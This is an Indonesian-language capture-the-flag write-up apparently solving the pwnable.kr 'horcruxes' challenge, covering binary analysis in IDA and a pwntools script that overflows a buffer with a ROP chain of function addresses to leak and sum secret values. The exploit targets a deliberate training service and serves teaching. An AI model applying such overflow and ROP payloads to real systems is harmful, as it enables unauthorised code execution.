Pada artikel ini, kita akan menyelesaikan tugas ke-21 dari situs
pwnable.kr , yang bertujuan untuk menyusun rantai ROP.
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Solusi untuk pencarian horcrux
Saya tidak melihat alasan untuk menggambarkan pemrograman berorientasi terbalik, karena
artikel ini menjelaskan semuanya dengan sangat rinci.
Kami mengklik ikon tanda tangan horcrux dan kami diberitahu bahwa kami harus terhubung melalui SSH dengan tamu kata sandi.

Saat terhubung, kami melihat spanduk yang sesuai.

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

Ada file readme, mari kita lihat pesan apa yang mereka tinggalkan untuk kita.

Dilaporkan bahwa program berjalan pada port 9032. Kami tidak diberi kode sumber, jadi unduh sendiri programnya.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/

Jalankan di IDA dan dekompilasi. Ada tiga fungsi menarik: hint, init_ABCDEFG, dan ropme.

Dilihat dari namanya, fungsi hint harus mengandung hint. Mari kita melihatnya.

Dikatakan bahwa Anda harus melewati 7 level. Baiklah, mari kita lihat ropme.

Sudah lebih menarik. Program membaca angka dan jika sama dengan nilai referensi tertentu, maka fungsi dipanggil yang menampilkan nilai ini. Jadi ada 7 arti.

Jika tidak ada kecocokan, maka kami diminta untuk memasukkan string yang membandingkan dengan jumlah variabel. Jadi, mari kita lihat init_ABCDEFG.

Di sini, inisialisasi nilai referensi, yang dihasilkan secara acak, terjadi. Dan jumlah adalah jumlah dari angka-angka ini.
Kami menyortir program. Tooltip pencarian mengatakan ROP. Idenya adalah sebagai berikut, kita perlu memanggil semua 7 fungsi untuk mengetahui nilai referensi, dan kemudian memanggil ropme lagi untuk mentransfer jumlah nilai-nilai ini.
Berkat fungsi get, kita dapat menulis ulang alamat pengirim dengan rantai alamat. Kami menghitung jumlah byte ke alamat pengirim.

Jadi, kita perlu mentransfer program, kita perlu mentransfer 0x78 byte dari rintisan, dan kemudian di baris 8 alamat fungsi. Di IDA kami menemukan alamat fungsi kami.

Sekarang mari kita menulis eksploit.
rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n")

Kami mendapatkan bendera yang diinginkan dan menyelesaikan bagian pertama dari tugas di pwnable.kr.

Anda dapat bergabung dengan kami di
Telegram . Lain kali kita akan berurusan dengan heap overflow.